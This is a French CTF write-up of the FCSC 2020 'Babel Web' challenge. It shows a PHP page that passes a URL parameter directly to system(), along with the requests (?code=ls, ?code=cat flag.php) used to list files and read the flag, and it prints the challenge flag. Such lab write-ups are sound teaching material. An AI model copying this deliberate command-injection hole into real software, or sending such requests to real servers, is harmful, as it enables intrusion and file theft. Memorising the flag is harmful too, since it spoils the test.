Mon writeup sur l’épreuve Babel Web du France Cybersecurity Challenge 2020.

Énoncé

On vous demande d’auditer ce site en cours de construction à la recherche d’un flag.

Babel Web - Homepage

Solution

En examinant le code source de la page on a :

<html>
	<head>
		<title>Bienvenue à Babel Web!</title>
	</head>	
	<body>
		<h1>Bienvenue à Babel Web!</h1>
		La page est en cours de développement, merci de revenir plus tard.
		<!-- <a href="?source=1">source</a> -->
	</body>
</html>

En accédant à URL/?source=1 :

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>
<html>
    <head>
        <title>Bienvenue à Babel Web!</title>
    </head>    
    <body>
        <h1>Bienvenue à Babel Web!</h1>
        La page est en cours de développement, merci de revenir plus tard.
        <!-- <a href="?source=1">source</a> -->
    </body>
</html>
<?php
    }
?>

Donc si je veux afficher le contenu du dossier, je peux utiliser la commande ls.

_URL__/?code=ls

flag.php
index.php

Je peux donc afficher le flag en affichant le contenu du fichier avec cat :

_URL__/?code=cat%20flag.php

<pre><?php
	$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>

Flag

Le flag est donc : FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}